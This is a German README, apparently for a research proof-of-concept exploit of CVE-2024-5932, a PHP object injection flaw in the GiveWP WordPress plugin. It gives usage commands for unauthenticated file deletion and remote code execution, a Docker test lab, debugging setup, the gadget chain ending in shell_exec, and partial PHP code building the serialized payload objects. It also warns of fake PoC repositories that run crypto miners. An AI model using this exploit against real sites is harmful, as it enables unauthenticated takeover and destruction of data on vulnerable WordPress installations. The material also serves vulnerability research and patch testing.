
Proof-of-Concept-Exploit für CVE-2024-5932, eine PHP-Objektinjektions-Schwachstelle im GiveWP-WordPress-Plugin, die nicht authentifizierte Remote-Code-Ausführung und die willkürliche Löschung von Dateien über eine POP-Kette ermöglicht.
Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.
Derzeit gibt es gefälschte PoC-GitHub-Repositories, die xmrig ausführen. Weitere Informationen finden Sie unter den folgenden Links:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 PoC für beliebiges Dateilöschen und RCE ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25. Aug. : CVE-2024-5932 PoC für Dateilöschung hochgeladen
26. Aug. : Wir haben erfolgreich beliebige Befehle mit CVE-2024-5932 ausgeführt, überlegen jedoch eine Offenlegung aufgrund der Auswirkungen.
27. Aug. : Wir fanden eine detaillierte Analyse des PoC in einem Beitrag von Julien Ahrens von RCE Security und beschlossen, unseren RCE-PoC zu veröffentlichen. Wir haben einen zusätzlichen RCE-PoC als CVE-2024-5932-rce.py hochgeladen.
CVE-2024-5932 : GiveWP PHP Object Injection Schwachstelle Beschreibung: Das GiveWP Donation Plugin und Fundraising Platform Plugin für WordPress ist in allen Versionen bis einschließlich 3.14.1 anfällig für PHP Object Injection durch Deserialisierung von nicht vertrauenswürdigen Eingaben aus dem Parameter 'give_title'. Dies ermöglicht es nicht authentifizierten Angreifern, ein PHP-Objekt zu injizieren. Das zusätzliche Vorhandensein einer POP-Kette ermöglicht es Angreifern, Code remote auszuführen und beliebige Dateien zu löschen.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Beliebiges Dateilöschen
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote-Codeausführung
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



Greifen Sie zuerst mit folgendem Befehl auf die WordPress-Shell zu:
docker exec -it -u root docker-wordpress-1 /bin/bash
Wenn die Datei root gehört, kann sie aufgrund von Berechtigungen möglicherweise nicht gelöscht werden. Daher müssen Sie den Besitzer der Testdatei mit folgendem Befehl ändern:
touch test && chown www-data test

Sie können Ihre GiveWP-Instanz mit PHPSTORM debuggen.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..Und dann können Sie Ihre WordPress-Instanz debuggen.


An dieser Stelle deserialisiert die Funktion get_meta() den zuvor gespeicherten Wert 'give_title'.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: Ersetze Nullbytes -> mit \0
stripslashes_deep: Ersetze Backslashes -> mit \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Gibt Befehlstring zurück)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}